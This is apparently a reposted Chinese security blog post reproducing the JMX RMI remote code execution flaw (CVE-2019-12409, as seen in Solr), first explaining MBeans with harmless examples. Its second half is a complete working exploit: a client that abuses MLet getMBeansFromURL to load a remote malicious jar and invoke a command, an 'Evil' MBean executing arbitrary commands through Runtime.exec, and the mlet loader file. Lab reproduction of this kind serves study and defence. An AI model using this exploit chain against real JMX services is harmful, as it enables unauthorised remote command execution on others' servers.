Jmx Rmi Rce 漏洞利用復現&分析


0x00 前言

本來在復現solr的漏洞,后來發現這個漏洞是個通用的jmxrmi漏洞。

JMX是Java Management Extensions,它是一個Java平台的管理和監控接口。為什么要搞JMX呢?因為在所有的應用程序中,對運行中的程序進行監控都是非常重要的,Java應用程序也不例外。我們肯定希望知道Java應用程序當前的狀態,例如,占用了多少內存,分配了多少內存,當前有多少活動線程,有多少休眠線程等等。如何獲取這些信息呢?

JMX把所有被管理的資源都稱為 MBean(Managed Bean),這些MBean全部由MBeanServer管理,如果要訪問MBean,可以通過MBeanServer對外提供的訪問接口,例如通過RMI或HTTP訪問。

0x01 一些簡單的🌰

創建一個接口

public interface HelloMBean {

    // getter and setter for the attribute "name"
    public String getName();
    public void setName(String newName);

    // Bean method "sayHello"
    public String sayHello();
}

實現該接口

public class Hello implements HelloMBean {

    private String name = "MOGWAI LABS";

    // getter/setter for the "name" attribute
    public String getName() { return this.name; }
    public void setName(String newName) { this.name = newName; }

    // Methods
    public String sayHello() { return "hello: " + name; }
}

啟用一個jmx服務端口,需要先注冊mbean,然后將mbean綁定到jmx端口

import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;

/**
 * Hello world!
 *
 */
public class App 
{
    public static void main( String[] args ) throws Exception {

        System.out.println( "Hello World!" );
        App app = new App();
        app.restartServer();
    }

    public void restartServer() throws Exception {
        MBeanServer server = ManagementFactory.getPlatformMBeanServer();
        try {
            // 注冊一個MBean
            server.registerMBean(new Hello(), new ObjectName("domain1:key1=val1"));
            // 再注冊一個MBean
            server.registerMBean(new Hello(), new ObjectName("domain1:key2=val2"));

        } catch (InstanceAlreadyExistsException | MBeanRegistrationException | NotCompliantMBeanException | MalformedObjectNameException e) {
            e.printStackTrace();
        }
        // 新啟用一個端口號用於JMX連接
        LocateRegistry.createRegistry(9999);
        JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(
                new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi"),
                null,
                server);
        jcs.start();
    }
}

jmx客戶端代碼如下,用於連接遠程的jmxserver並且打印mbean

import java.lang.management.ManagementFactory;
import java.util.Arrays;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class MBeanClient {

    public static void main(String[] args) throws Exception {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
        Set<ObjectName> objectNames = mBeanServerConnection.queryNames(null, null);
        for (ObjectName objectName : objectNames) {
            System.out.println("========" + objectName + "========");
            MBeanInfo mBeanInfo = mBeanServerConnection.getMBeanInfo(objectName);
            System.out.println("[Attributes]");
            for (MBeanAttributeInfo attr : mBeanInfo.getAttributes()) {
                Object value = null;
                try {
                    value = attr.isReadable() ? mBeanServerConnection.getAttribute(objectName, attr.getName()) : "";
                } catch (Exception e) {
                    value = e.getMessage();
                }
                System.out.println(attr.getName() + ":" + value);
            }
            System.out.println("[Operations]");
            for (MBeanOperationInfo oper : mBeanInfo.getOperations()) {
                System.out.println(oper.getName() + ":" + oper.getDescription());
            }
            System.out.println("[Notifications]");
            for (MBeanNotificationInfo notice : mBeanInfo.getNotifications()) {
                System.out.println(notice.getName() + ":" + notice.getDescription());
            }
        }
    }
}

image-20210428111412734

注意移動的時候需要加上參數,我這里是idea直接加上

-Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false

image-20210428163616854

同樣可以使用jconsole連接進行查看

image-20210428164022248

image-20210428163933523

從以上例子可以看到,可以通過jmxrmi的遠程服務進行調用。上面的例子即調用了Hello類的sayHello方法。

0x02 漏洞利用

前一個點已經講過可以進行遠程調用已在Mbean中加載的類和方法,但我們需要一個命令執行的類和方法,這個方法只能通過遠程進行預加載進來,於是就有了另外一個方法,通過Mlet的getMbeanFromUrl方法進行遠程加載惡意的jar包,再對其進行調用。

網上的例子有點小bug,當jar已經加載到內存中則會顯示objectname已加載的錯誤,重新寫了一個exp,若已被調用則直接調用該objectName

import java.lang.management.ManagementFactory;
import java.net.InetAddress;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class MBeanClient {

    public static void main(String[] args) throws Exception {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:10000/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        //System.out.println("123");
        MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
        ObjectInstance evilBean = null;
        ObjectInstance evil = null;
        Object expResult;
        try{
            evil = mBeanServerConnection.createMBean("javax.management.loading.MLet",null);
            Object loadEvilBean = mBeanServerConnection.invoke(evil.getObjectName(),"getMBeansFromURL",new Object[]{"http://127.0.0.1:10001/mlet"},new String[]{String.class.getName()});
            HashSet hashSet = ((HashSet)loadEvilBean);
            Iterator iterator = hashSet.iterator();
            Object theObject = iterator.next();

            evilBean = ((ObjectInstance)theObject);
            System.out.println(evilBean.getObjectName());
            expResult = mBeanServerConnection.invoke(evilBean.getObjectName(),"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
        } catch (Exception e) {
            ObjectName objectName = new ObjectName("MLetCompromise:name=evil,id=1");
            expResult = mBeanServerConnection.invoke(objectName,"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
        }
        System.out.println(expResult);
    }
}

另外重新編譯

//EvilMBean.java
public interface EvilMBean {
    public String runCommand(String cmd);
}

import java.io.*;

public class Evil implements EvilMBean
{
    public String runCommand(String cmd)
    {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null)
            {
                stdout_err_data += s+"\n";
            }
            while ((s = stdError.readLine()) != null)
            {
                stdout_err_data += s+"\n";
            }
            proc.waitFor();
            return stdout_err_data;
        }
        catch (Exception e)
        {
            return e.toString();
        }
    }
}

編譯成jar包,我這里直接idea build一下

image-20210429112823962

將jar包和mlet文件放到同個文件夾下,mlet內容如下,並且其中web服務

<html><mlet code="Exploit.Evil" archive="EvilJar.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:10001"></mlet></html>

注意,記住code的內容為jar包中的類的路徑,name也要記住,因為后面在已加載成功以后第二次是無法利用的

image-20210429113915378

執行命令成功

image-20210429113955786

0x03 參考

https://github.com/jas502n/CVE-2019-12409

https://www.anquanke.com/post/id/194126

https://www.anquanke.com/post/id/202686

https://www.cnblogs.com/dongguacai/p/5900507.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM